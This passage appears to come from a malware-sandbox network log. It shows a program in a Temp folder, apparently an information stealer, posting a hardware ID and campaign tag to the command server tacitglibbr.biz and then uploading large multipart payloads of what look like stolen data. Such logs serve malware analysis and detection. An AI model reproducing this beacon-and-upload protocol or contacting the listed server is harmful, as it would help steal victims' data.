2024-12-16 12:16:58 UTC	933	IN	HTTP/1.1 200 OK Version: 704583840 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 16 Dec 2024 12:16:57 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 12:16:58 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-16 12:16:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49840	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:58 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 12:16:58 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=25D3BB0501EF3E98AC8923850305D13E
2024-12-16 12:16:59 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=md8ie02i1baqqkd2tei1pnkck8; expires=Fri, 11-Apr-2025 06:03:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mMN%2BmwvGsoHQeEXZhrvlTDf8Q0xMq8QRb6uuzpRNW4034yEx2qe98Lq%2Br4xVP292Pi2HBqmgH0X1Q%2FeAo%2BtXdktXE564K3hDw5ixyyVppzX%2FJmICjTsIFfZnRIVUyiV44%2FU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b8ddbfe42da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2420&min_rtt=2406&rtt_var=930&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1158730&cwnd=227&unsent_bytes=0&cid=13d89092b4b7685f&ts=1022&x=0"
2024-12-16 12:16:59 UTC	214	IN	Data Raw: 64 30 0d 0a 4e 6e 35 5a 2b 39 55 73 49 65 63 48 2f 4e 56 6c 49 55 2f 32 45 43 6e 65 30 56 44 77 32 62 68 54 73 6c 54 6c 4f 49 65 65 59 78 64 74 42 58 75 4f 39 78 59 44 6a 33 4f 49 70 56 39 39 59 4b 6f 2f 47 4f 62 6b 66 73 4c 6f 6a 58 32 44 5a 64 59 57 74 71 67 2f 4f 46 6b 59 50 36 66 36 53 45 53 42 4b 5a 6d 74 41 41 4e 6a 31 48 5a 64 2f 4f 74 67 33 50 76 64 63 59 68 6b 6d 42 54 38 76 42 59 31 44 46 77 78 6a 36 46 63 47 37 73 6f 6f 50 70 55 47 58 72 59 49 68 6a 72 2f 32 48 42 36 70 5a 69 68 41 6a 4b 53 2f 50 37 41 6e 70 71 55 53 75 61 75 30 68 4f 69 69 6d 5a 72 51 41 44 59 39 52 32 58 66 7a 72 59 4e 7a 37 33 58 47 49 5a 4a 68 6c 0d 0a Data Ascii: d0Nn5Z+9UsIecH/NVlIU/2ECne0VDw2bhTslTlOIeeYxdtBXuO9xYDj3OIpV99YKo/GObkfsLojX2DZdYWtqg/OFkYP6f6SESBKZmtAANj1HZd/Otg3PvdcYhkmBT8vBY1DFwxj6FcG7sooPpUGXrYIhjr/2HB6pZihAjKS/P7AnpqUSuau0hOiimZrQADY9R2XfzrYNz73XGIZJhl
2024-12-16 12:16:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49908	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:17:15 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HHVVGQB7RW1HCWBM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12834 Host: tacitglibbr.biz
2024-12-16 12:17:15 UTC	12834	OUT	Data Raw: 2d 2d 48 48 56 56 47 51 42 37 52 57 31 48 43 57 42 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 48 56 56 47 51 42 37 52 57 31 48 43 57 42 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 48 56 56 47 51 42 37 52 57 31 48 43 57 42 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 48 48 Data Ascii: --HHVVGQB7RW1HCWBMContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--HHVVGQB7RW1HCWBMContent-Disposition: form-data; name="pid"2--HHVVGQB7RW1HCWBMContent-Disposition: form-data; name="lid"PsFKDg--pablo--HH
2024-12-16 12:17:16 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8tma9kut4kvo74nv2n6028aj5t; expires=Fri, 11-Apr-2025 06:03:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mt6Ek%2Bbgk5snteaN4QU2kJuqc%2FwbM%2BqyMA4ydgVFn%2BrR9OnKZ7YMAvRMwVewpRAohj30P%2BsxGTZZ9HTtdITQyZhmAI%2Ffs9jls0h3zuPzk1NBLNrKTYdhLNOwX5AZOxfR9Jw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9bfadb27c413-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1631&rtt_var=625&sent=15&recv=18&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13771&delivery_rate=1732937&cwnd=173&unsent_bytes=0&cid=36095f3fa638aaab&ts=1223&x=0"
2024-12-16 12:17:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:17:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49939	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:17:19 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EM66JUGLZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15021 Host: tacitglibbr.biz
2024-12-16 12:17:19 UTC	15021	OUT	Data Raw: 2d 2d 45 4d 36 36 4a 55 47 4c 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 4d 36 36 4a 55 47 4c 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 4d 36 36 4a 55 47 4c 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 45 4d 36 36 4a 55 47 4c 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --EM66JUGLZContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--EM66JUGLZContent-Disposition: form-data; name="pid"2--EM66JUGLZContent-Disposition: form-data; name="lid"PsFKDg--pablo--EM66JUGLZContent-Disp
2024-12-16 12:17:20 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vv50qmqvkejd1rqbjok0mogduu; expires=Fri, 11-Apr-2025 06:03:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h55D%2Bscq0RVpWzvEVZZ3IGshQTQT4A1EAKTq9AobMkanz2LWR%2FCjQB4UGeB8XNMfvgp1CY63ABJTX4p5hx7QCt9jR7kYvT8Nmpw8msKjte1uCRv7E1mDquqwMGpkzFx4tkQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c147d0b7cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&min_rtt=1842&rtt_var=699&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=15951&delivery_rate=1557333&cwnd=168&unsent_bytes=0&cid=53c783c84d015f61&ts=1077&x=0"
2024-12-16 12:17:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:17:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49969	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:17:28 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3SIZONAYIQQIZNBSJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20236 Host: tacitglibbr.biz
2024-12-16 12:17:28 UTC	15331	OUT	Data Raw: 2d 2d 33 53 49 5a 4f 4e 41 59 49 51 51 49 5a 4e 42 53 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 53 49 5a 4f 4e 41 59 49 51 51 49 5a 4e 42 53 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 53 49 5a 4f 4e 41 59 49 51 51 49 5a 4e 42 53 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --3SIZONAYIQQIZNBSJContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--3SIZONAYIQQIZNBSJContent-Disposition: form-data; name="pid"3--3SIZONAYIQQIZNBSJContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 12:17:28 UTC	4905	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-12-16 12:17:29 UTC	1027	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ovk8tf72k0apeg5r9nfsibosj7; expires=Fri, 11-Apr-2025 06:04:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2BRxvZp3s7hvq3zWDJ8d%2Fax%2FY3ZpLEeLAVSXiMoIyRsv2SZeZJtqUCb6%2FaA3LeZKD%2FH%2BUFtc6MxQP%2BztPcwIkMQaUuJVmgUOuXCdzES937krlLqTgXJ%2BnLVSjKfmz%2BWhd64%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c47ea49426d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2135&min_rtt=2128&rtt_var=813&sent=9&recv=24&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21196&delivery_rate=1333942&cwnd=227&unsent_bytes=0&cid=bccc2506c8d44740&ts=1179&x=0"
2024-12-16 12:17:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:17:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49991	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:17:34 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MJ0ILNK43O4OSM0O39 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1358 Host: tacitglibbr.biz
2024-12-16 12:17:34 UTC	1358	OUT	Data Raw: 2d 2d 4d 4a 30 49 4c 4e 4b 34 33 4f 34 4f 53 4d 30 4f 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 4a 30 49 4c 4e 4b 34 33 4f 34 4f 53 4d 30 4f 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 4a 30 49 4c 4e 4b 34 33 4f 34 4f 53 4d 30 4f 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --MJ0ILNK43O4OSM0O39Content-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--MJ0ILNK43O4OSM0O39Content-Disposition: form-data; name="pid"1--MJ0ILNK43O4OSM0O39Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-16 12:17:35 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eg1fs1d05kndjnaahuo631l6gj; expires=Fri, 11-Apr-2025 06:04:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U1xqhxlOEphZxM1OQyUGsn4dbLaVXyAlOBbFEv0zuKkNEhUTNN%2FT5tSL%2BPAMiKxMePrl4fG3v6NAGJl%2F45Z%2B%2BCgtLX5BWa3m4y%2F%2BALw58b8Dz3sFxyHoVqZkWRi92YouQ2E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c6f7fd58cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1763&min_rtt=1756&rtt_var=673&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2274&delivery_rate=1608815&cwnd=252&unsent_bytes=0&cid=7715226a31cd4861&ts=733&x=0"
2024-12-16 12:17:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 12:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	50006	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:17:38 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JNUCQH9GV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571203 Host: tacitglibbr.biz
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: 2d 2d 4a 4e 55 43 51 48 39 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4a 4e 55 43 51 48 39 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 4e 55 43 51 48 39 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4a 4e 55 43 51 48 39 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --JNUCQH9GVContent-Disposition: form-data; name="hwid"25D3BB0501EF3E98AC8923850305D13E--JNUCQH9GVContent-Disposition: form-data; name="pid"1--JNUCQH9GVContent-Disposition: form-data; name="lid"PsFKDg--pablo--JNUCQH9GVContent-Disp
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: 6e f1 18 95 c6 09 87 54 f7 8b 7d 11 26 3c 7c 1c 6a a3 23 f6 bc de b1 4c 3f 71 cb 39 3d 43 22 8c 2a 7f 6e f4 eb e6 59 31 e4 65 6b eb 58 c0 54 40 68 51 7b ea fc df 11 8e 02 d2 51 e0 8f a9 5f d7 64 cc 6b 80 17 2c cf 9d ef b3 5b b9 fe 7c c0 9c 17 f7 8c 21 fe d5 62 30 f1 c8 30 71 0d 86 cb 71 41 eb 69 c0 59 99 3d ca 37 24 c9 b0 ca d8 da 80 8f d3 bf f0 83 bb 32 ec 1f c0 6b aa 4d f0 66 68 5f 12 e6 92 e3 56 7f 85 1c 07 42 dd 0e 98 b7 87 6c 56 b4 06 a5 3a 2b 42 3e a9 d4 c9 63 33 bf 0b 96 b4 cf 6b 81 85 5c 3d 88 df a5 36 17 80 a7 8c 51 4c f5 b6 bd e8 bf 4d 10 23 30 14 09 4b 56 0d 9c 2f 99 cd f7 bd f8 69 4b 9d 69 be 7e fb 4d 6b ad 7e e9 65 fd a5 97 c9 6f 2c e6 6b 6e 4e df 76 3b 4f 43 d0 27 df 4a 6a 5f 01 7d bd bf f0 ed 22 72 ca 18 aa f4 e4 fc e2 48 42 23 6c 11 74 e8 Data Ascii: nT}&<\|j#L?q9=C"*nY1ekXT@hQ{Q_dk,[\|!b00qqAiY=7$2kMfh_VBlV:+B>c3k\=6QLM#0KV/iKi~Mk~eo,knNv;OC'Jj_}"rHB#lt
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: c3 a3 02 7c 51 7b 3e b7 ee 11 f5 c0 4e 85 18 cf cb a9 8a 47 ff db b6 53 94 47 d1 67 89 ac 50 cd 65 23 8e ef 95 ca a3 a4 a9 a4 7c e1 28 09 ee 65 47 e2 45 f7 93 ba 83 ad 1b 34 63 b1 ee 8d 29 e3 ab 36 7b 4c dc b0 a4 94 85 a3 fa 9e 8c 7d 5e c7 4f 4b 92 e2 57 37 03 ce 58 37 1f cb db d5 72 85 d2 5c 5d 95 4d 4f ec 98 d5 65 5a e2 04 57 14 de 8e c5 fa 9d 88 e4 95 f6 de 49 fd 80 2f 4c 31 be 6f c3 d9 3f 6b ab a6 54 c9 7e ec 31 73 57 47 af ad 9f 73 dc b7 07 36 47 07 13 7c 22 ef 2d 1d 25 db 1d d7 21 94 17 71 7d 06 ae 9d 4b 5a 94 d5 0a 73 28 8b 99 9e 9f 98 9a 64 79 27 04 e3 7b bc 26 35 43 12 32 c2 95 5c 91 62 23 1a 23 ad 7d f9 15 e8 dd c4 7b 9b 79 f4 2a 6b 5b 1e c8 9d 52 a5 d4 a8 18 64 40 3a b0 ee bf b7 95 51 51 fa 49 1a f6 15 5b be c2 54 55 ad b7 05 96 b2 51 fc fc 2e Data Ascii: \|Q{>NGSGgPe#\|(eGE4c)6{L}^OKW7X7r\]MOeZWI/L1o?kT~1sWGs6G\|"-%!q}KZs(dy'{&5C2\b##}{y*k[Rd@:QQI[TUQ.
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: e0 cb 10 36 06 51 a4 0d cd ff 4d 46 fb b4 97 3c ba c9 f2 d6 54 06 64 97 18 4d 80 ad cf 88 22 71 d0 90 e6 7d f1 a8 c2 28 e2 65 54 83 0e 91 14 72 19 65 7c d3 d5 4b 98 b3 0c 62 a7 c2 97 63 08 87 54 f5 b5 a3 48 a2 b4 af 00 4b 92 a5 8c e6 98 c8 7e 97 09 b3 eb 15 42 cf 09 ed 13 ef 7e 11 ea df 9c 61 1a fa 87 81 bc f4 05 3b c9 f8 8a 10 c3 92 b0 0f 71 0a a6 e1 0b fa f8 4a e0 ea 89 e3 08 04 c4 14 7a 8c 8f 68 f4 72 ab 04 29 92 78 98 07 32 c3 14 1e d5 5e 41 cd 7d 97 26 5e 43 27 2d 1a 85 1f bf f0 c2 de da c2 b8 1b 6a 15 57 4d 2c 1d 9e 42 aa 8a ff 25 bf 70 4d fc e5 6c bf f9 da 87 2d 82 67 4b d3 05 52 2a b9 c5 fe 75 0a 98 cd 71 ee eb 2e 2e 72 6a 26 71 ad 79 6c 21 97 14 41 c9 ca e8 79 1e 1e 8a 55 41 04 8f f5 de 0a df b5 43 25 e3 71 38 b2 6e fa 5c f6 1a cb 77 12 63 84 a5 Data Ascii: 6QMF<TdM"q}(eTre\|KbcTHK~B~a;qJzhr)x2^A}&^C'-jWM,B%pMl-gKR*uq..rj&qyl!AyUAC%q8n\wc
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: be fb e1 2a cf 6e 7e d8 26 37 f8 f4 91 7f f3 c3 36 07 67 10 14 b9 9b ae 1e e6 20 6d 7c 09 ee 61 70 ac bd bf 4a 59 27 9a 73 76 04 24 cd ec 45 2e 1f b9 7f f4 83 23 2d b2 b7 f3 84 d5 bf 34 62 19 5f 39 17 4a f2 4b a6 29 49 aa 68 d4 8c 43 48 13 be 7b c6 89 6d e6 a2 d4 f1 6e b1 23 06 f8 aa d3 a4 70 59 de 4a 3f e9 8d 57 23 05 d7 81 95 9c 73 6e 33 c1 5e 3c 3c 48 09 76 b6 70 da b5 be 7f 1e 17 0f b9 2b 89 b7 1c 52 30 da 52 25 8f c9 3b 95 16 6b ee 17 41 0e 65 1e 26 a4 db 37 32 be 4b 48 55 97 0b 50 33 eb 8b 87 8a f9 c9 7c af 1e dd a2 98 dc d8 3e f1 5f cb 7d 95 b4 35 d9 25 fb 4e 5b 7a 66 c4 59 cc 5d d5 99 b8 52 a3 f2 c9 cb b7 a3 e1 07 30 c7 25 50 6f ea 52 58 5f be 63 bc f9 6e 1e 13 5f 83 bc 9b 24 87 c3 d5 7a 31 57 dd a0 a3 42 71 f2 